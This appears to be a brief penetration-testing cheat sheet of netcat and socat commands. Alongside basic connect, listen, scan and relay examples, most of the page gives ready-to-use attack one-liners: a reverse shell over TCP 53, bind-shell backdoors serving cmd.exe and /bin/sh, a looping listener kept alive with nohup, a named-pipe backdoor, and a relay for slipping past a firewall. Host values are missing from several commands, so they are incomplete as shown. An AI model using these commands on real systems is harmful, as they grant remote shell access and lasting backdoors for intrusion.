Netcat & Socat

Netcat rocks my socks



Connect to a socket on host on TCP port 81

nc 81

Listen on the local machine for inbound TCP connections on port 81

nc -nvlp 81

Reverse shell sent to host over TCP port 53

nc 53 -e /bin/bash

Backdoor listening on TCP 80 set to execute cmd.exe when connected

nc -nvlp 80 -e cmd.exe

More Fancy

Attempt to connect to each port from 10-90 on, don't resolve any names -n, don't send any data -z, and only wait 1 second for a connection -w1

nc -nvzw1 10-90

Netcat stops listening after the connection drops or is terminated, which can make getting another shell back annoying. Placing nc in a bash true loop is an easy way to work around this, use nohup also!

while [ 1 ]; do echo “started”; nc -l -p 1234 -e /bin/sh; done

Netcat relay used to forward everything received by the host on TCP 4321 sent to on TCP 8123

nc -l -p 4321 | nc 8123

Create a netcat backdoor without -e support. This generates a named pipe which is used to funnel data between bash and nc.

mknod backpipe p
/bin/bash 0<backpipe | nc -l -p 8080 1>backpipe

Firewall Evasion

If a specific port is blocked at the firewall, netcat can be used to pipe through authorized ports. Using the named pipe we can pipe the data thru to the nc output

mknod mypipe p
nc -lp 80 < mypipe | nc 22 > mypipe
ssh -p 80    # Attcker command to connect to ssh piped thru port 80


socat is a program which can be used for enhanced netcat usage. Supports SSL and forking

# Below command listens locally on 8080, forwards connections to
socat -v tcp4-listen:8080,reuseaddr,fork TCP4:

# Listen with SSL and send to std out
socat openssl-listen:8443,reuseaddr,cert=ssl.pem,verify=0,fork stdio

Last updated